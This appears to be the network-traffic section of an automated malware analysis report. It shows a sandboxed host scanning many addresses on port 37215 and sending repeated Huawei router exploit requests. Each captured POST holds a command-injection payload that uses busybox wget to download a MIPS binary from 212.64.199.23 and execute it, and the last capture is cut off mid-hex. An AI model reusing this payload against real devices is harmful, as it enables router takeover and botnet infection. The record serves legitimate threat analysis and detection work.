Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.232.151.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.219.85.236:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.73.184.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.169.93.172:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.120.230.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.162.218.0:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.64.70.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.40.34.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.61.241.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.109.175.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.181.137.157:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.89.240.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.167.20.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.51.219.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.86.171.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.7.127.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.172.210.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.250.97.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.31.67.218:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.76.137.229:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.238.92.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.102.121.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.127.218.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.0.56.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.48.198.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.88.174.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.90.202.69:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.33.7.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.138.194.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.97.28.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.44.23.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.97.101.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.100.34.143:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.222.212.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.216.177.25:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.249.3.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.92.131.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.213.135.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.240.6.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.245.93.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.122.212.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.237.228.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.245.249.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.217.234.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.135.179.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.93.243.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.223.111.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.136.232.142:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 197.154.156.50:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.89.120.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.85.26.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.188.84.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.31.80.151:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.235.179.110:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 41.13.123.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.187.53.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.183.1.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:10640 -> 156.242.103.42:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 